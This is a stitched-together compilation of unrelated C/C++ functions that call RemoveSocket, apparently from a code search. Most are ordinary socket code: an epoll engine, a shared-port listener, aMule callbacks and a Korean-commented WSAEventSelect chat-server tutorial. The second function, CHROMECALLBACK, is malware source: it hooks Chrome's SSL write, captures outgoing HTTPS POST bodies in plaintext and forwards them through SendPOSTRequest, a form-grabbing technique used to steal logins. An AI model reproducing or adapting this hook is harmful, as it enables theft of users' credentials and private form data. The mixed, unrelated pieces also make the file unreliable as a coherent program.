void Epoll_Engine::DeleteSocket(basesocket_sptr & s) { MutexLockGuard lock(&m_mutex); if(s) { fds[s->GetFd()].reset(); } RemoveSocket(s); }
int CHROMECALLBACK(void*fd,const void *buf,int amount) { int Total = SSL3_WRITE(fd,buf,amount); if (Total == amount) { if(isPostData((PCHAR)buf)) { PCHAR Host = (PCHAR)HeapAlloc(GetProcessHeap(),0,MAX_PATH); if (Host) { RtlSecureZeroMemory(Host, MAX_PATH); if (ProcessHeader((PCHAR)buf, amount, "Google Chrome", Host,MAX_PATH,"SSL_WRITE") == -1) { PCHROMESOCKET NewSocket = InsertSocket((SOCKET)fd, &Section); if (NewSocket) NewSocket->szHost = Host; else HeapFree(GetProcessHeap(),0,Host); } else { HeapFree(GetProcessHeap(),0,Host); } } } else { PCHROMESOCKET Socket = FindSocket((SOCKET)fd, &Section); if (Socket) { PCHAR szData = (PCHAR)HeapAlloc(GetProcessHeap(),0,amount+1); if (szData) { RtlSecureZeroMemory(szData,amount+1); m_memcpy(szData,buf,amount); if (Socket->szHost) { SendPOSTRequest("Google Chrome",Socket->szHost,strlen(Socket->szHost),"SSL_WRITE 2",strlen("SSL_WRITE 2"),szData,strlen(szData)); HeapFree(GetProcessHeap(),0,Socket->szHost); Socket->szHost = 0; } RemoveSocket((SOCKET)fd, &Section); HeapFree(GetProcessHeap(),0,szData); } } } } return Total; }
void TcpServer::handle_close(TcpHandler* pHandler) { assert(pHandler != NULL); pHandler->handle_close(); RemoveSocket(pHandler); if(pHandler->GetNeedDel()) { delete pHandler; pHandler = NULL; } }
void CAmuledGSocketFuncTable::Uninstall_Callback(GSocket *sock, GSocketEvent e) { RemoveSocket(sock, e); }
void CWebserverGSocketFuncTable::Uninstall_Callback(GSocket *sock, GSocketEvent e) { RemoveSocket(sock, e); }
bool SharedPortEndpoint::CreateListener() { #ifndef HAVE_SHARED_PORT return false; #elif WIN32 if( m_listening ) { dprintf(D_ALWAYS, "SharedPortEndpoint: listener already created.\n"); return true; } std::stringstream ss; ss << m_socket_dir.Value() << DIR_DELIM_CHAR << m_local_id.Value(); m_full_name = ss.str(); pipe_end = CreateNamedPipe( m_full_name.Value(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 1024, 1024, 0, NULL); if(pipe_end == INVALID_HANDLE_VALUE) { DWORD error = GetLastError(); EXCEPT("SharedPortEndpoint: Failed to create named pipe: %d", error); } #elif HAVE_SCM_RIGHTS_PASSFD if( m_listening ) { return true; } int sock_fd = socket(AF_UNIX,SOCK_STREAM,0); if( sock_fd == -1 ) { dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: failed to open listener socket: %s\n", strerror(errno)); return false; } m_listener_sock.close(); m_listener_sock.assignDomainSocket( sock_fd ); std::stringstream ss; ss << m_socket_dir.Value() << DIR_DELIM_CHAR << m_local_id.Value(); m_full_name = ss.str(); struct sockaddr_un named_sock_addr; memset(&named_sock_addr, 0, sizeof(named_sock_addr)); named_sock_addr.sun_family = AF_UNIX; unsigned named_sock_addr_len; bool is_no_good; if (m_is_file_socket) { strncpy(named_sock_addr.sun_path, m_full_name.Value(), sizeof(named_sock_addr.sun_path)-1); named_sock_addr_len = SUN_LEN(&named_sock_addr); is_no_good = strcmp(named_sock_addr.sun_path,m_full_name.Value()); } else { strncpy(named_sock_addr.sun_path+1, m_full_name.Value(), sizeof(named_sock_addr.sun_path)-2); named_sock_addr_len = sizeof(named_sock_addr) - sizeof(named_sock_addr.sun_path) + 1 + strlen(named_sock_addr.sun_path+1); is_no_good = strcmp(named_sock_addr.sun_path+1,m_full_name.Value());; } if( is_no_good ) { dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: full listener socket name is too long." " Consider changing DAEMON_SOCKET_DIR to avoid this:" " %s\n",m_full_name.Value()); return false; } while( true ) { priv_state orig_priv = get_priv(); bool tried_priv_switch = false; if( orig_priv == PRIV_USER ) { set_condor_priv(); tried_priv_switch = true; } int bind_rc = bind( sock_fd, (struct sockaddr *)&named_sock_addr, named_sock_addr_len); if( tried_priv_switch ) { set_priv( orig_priv ); } if( bind_rc == 0 ) { break; } int bind_errno = errno; // bind failed: deal with some common sources of error if( m_is_file_socket && RemoveSocket(m_full_name.Value()) ) { dprintf(D_ALWAYS, "WARNING: SharedPortEndpoint: removing pre-existing socket %s\n", m_full_name.Value()); continue; } else if( m_is_file_socket && MakeDaemonSocketDir() ) { dprintf(D_ALWAYS, "SharedPortEndpoint: creating DAEMON_SOCKET_DIR=%s\n", m_socket_dir.Value()); continue; } dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: failed to bind to %s: %s\n", m_full_name.Value(), strerror(bind_errno)); return false; } if( listen( sock_fd, param_integer( "SOCKET_LISTEN_BACKLOG", 500 ) ) ) { dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: failed to listen on %s: %s\n", m_full_name.Value(), strerror(errno)); return false; } m_listener_sock._state = Sock::sock_special; m_listener_sock._special_state = ReliSock::relisock_listen; #else #error HAVE_SHARED_PORT is defined, but no method for passing fds is enabled. #endif m_listening = true; return true; }
void SharedPortEndpoint::StopListener() { #ifdef WIN32 /* On Windows we only need to close the pipe ends for the two pipes we're using. */ dprintf(D_FULLDEBUG, "SharedPortEndpoint: Inside stop listener.\n"); if( m_registered_listener ) { bool tried = false; HANDLE child_pipe; EnterCriticalSection(&kill_lock); kill_thread = true; LeaveCriticalSection(&kill_lock); while(true) { if(tried) { dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: Failed to cleanly terminate pipe listener\n"); MSC_SUPPRESS_WARNING_FOREVER(6258) // warning: Using TerminateThread does not allow proper thread clean up TerminateThread(thread_handle, 0); break; } child_pipe = CreateFile( m_full_name.Value(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(child_pipe == INVALID_HANDLE_VALUE) { dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: Named pipe does not exist.\n"); MSC_SUPPRESS_WARNING_FOREVER(6258) // warning: Using TerminateThread does not allow proper thread clean up TerminateThread(thread_handle, 0); break; } if(GetLastError() == ERROR_PIPE_BUSY) { if (!WaitNamedPipe(m_full_name.Value(), 20000)) { dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: Wait for named pipe for sending socket timed out: %d\n", GetLastError()); MSC_SUPPRESS_WARNING_FOREVER(6258) // warning: Using TerminateThread does not allow proper thread clean up TerminateThread(thread_handle, 0); break; } tried = true; continue; } CloseHandle(child_pipe); break; } CloseHandle(thread_handle); DeleteCriticalSection(&received_lock); } #else if( m_registered_listener && daemonCore ) { daemonCore->Cancel_Socket( &m_listener_sock ); } m_listener_sock.close(); if( !m_full_name.IsEmpty() ) { RemoveSocket(m_full_name.Value()); } if( m_retry_remote_addr_timer != -1 ) { daemonCore->Cancel_Timer( m_retry_remote_addr_timer ); m_retry_remote_addr_timer = -1; } #endif m_listening = false; m_registered_listener = false; m_remote_addr = ""; }
void main() { WSADATA wsa; // 버전정보 if( WSAStartup( MAKEWORD(2,2), &wsa) != 0) //DLL 로딩 { puts("WSAStartup Error !! "); return ; } //1) 핸드폰 단말기 구입 --> SOCKET : 통신을 하기위한 매개체 !! SOCKET ServerSocket; //2) 소켓 생성 !! // TCP/UDP TCP ServerSocket = socket( AF_INET , SOCK_STREAM, 0); if( ServerSocket == INVALID_SOCKET) { puts("socket() error!!"); return ; } //3) Usim SOCKADDR_IN ServerAddr; ServerAddr.sin_family = AF_INET; // TCP/UDP ServerAddr.sin_port = htons(20000); // 포트번호 ServerAddr.sin_addr.s_addr = htonl(INADDR_ANY); // 4) socket + sockaddr == 핸드폰 + Usim int ret = bind( ServerSocket, // 소켓 (SOCKADDR*)&ServerAddr, //주소 구조체 sizeof(ServerAddr)); // 주소의 크기 if( ret == SOCKET_ERROR) { puts("bind() error !! "); return ; } // 4) 통화 대기 !! ret = listen( ServerSocket, // 기다릴 소켓 SOMAXCONN); // 가능한 최대값 if( ret == SOCKET_ERROR ) { puts("listen() error !!"); return ; } // 1) 소켓과 이벤트를 연결하고 배열에 저장 HANDLE hEvent = WSACreateEvent(); //이벤트 객체 생성 ! // 2) 연결 !! WSAEventSelect( ServerSocket, // 이벤트를 처리할 소켓 hEvent, // 신호를 보내줄 이벤트 FD_ACCEPT|FD_CLOSE); SockList[SockCnt] = ServerSocket; EventList[SockCnt] = hEvent; SockCnt++; int index = 0; WSANETWORKEVENTS ne; while(1) { // 소켓에서 네트워크 이벤트 발생하면 Event객체가 시그날 되기를 기다린다!! index = WSAWaitForMultipleEvents( SockCnt, // 시그날을 기다리는 이벤트 수 EventList, // 이벤트 배열 FALSE, // 1개만 시그날이 돼도 리턴 !! WSA_INFINITE, FALSE); index -= WSA_WAIT_EVENT_0; // 1) networkevent 구조체에 이벤트 내용을 가져온다 !! // 2) EventList[index] 이벤트를 넌시그날로 변경 WSAEnumNetworkEvents( SockList[index], // 이벤트가 발생한 소켓 EventList[index], // 시그널 된 이벤트 &ne); // out put if( ne.lNetworkEvents & FD_ACCEPT) { if(ne.iErrorCode[FD_ACCEPT_BIT] != 0) { puts("accept error"); return; } SOCKADDR_IN ClientAddr; int len = sizeof(ClientAddr); SOCKET ClientSocket; ClientSocket = accept( SockList[index] , // 대기하는 소켓 (SOCKADDR*)&ClientAddr, // 클라이언트의 주소를 가져올 구조체 &len); if ( ClientSocket == INVALID_SOCKET) { puts("accept error "); return ; } printf("[ %s ] : %d 님 접속\n" , inet_ntoa( ClientAddr.sin_addr), ntohs( ClientAddr.sin_port ) ); // 접속자 소켓과 연결될 이벤트 생성 !! WSAEVENT hClientEvent = WSACreateEvent(); // socket + event WSAEventSelect( ClientSocket, hClientEvent, FD_READ|FD_WRITE|FD_CLOSE); SockList[SockCnt] = ClientSocket; EventList[SockCnt] = hClientEvent; SockCnt++; } if( ne.lNetworkEvents & FD_READ || ne.lNetworkEvents & FD_WRITE) { if( ne.lNetworkEvents & FD_READ && ne.iErrorCode[FD_READ_BIT] != 0 ) { puts("FD_READ_BIT"); return; } if( ne.lNetworkEvents & FD_WRITE && ne.iErrorCode[FD_WRITE_BIT] != 0) { puts("FD_WRITE_BIT"); return; } char buf[BUF_SIZE] = {0}; recv( SockList[index], buf , BUF_SIZE, 0); SOCKADDR_IN SenderAddr; int len = sizeof(SenderAddr); getpeername( SockList[index], (SOCKADDR*)&SenderAddr, &len); printf("[ %s ] %s\n", inet_ntoa( SenderAddr.sin_addr) ,buf ); for( int i = 1; i< SockCnt; i++) { if( i != index) send( SockList[i], buf, BUF_SIZE, 0); } } if( ne.lNetworkEvents & FD_CLOSE) { if(ne.iErrorCode[FD_CLOSE_BIT] != 0) { puts("FD_CLOSE_BIT"); return; } RemoveSocket( index ); } } /* // 화면에 접속한 클라이언트의 IP를 출력 !! */ WSACleanup(); // DLL 정리 }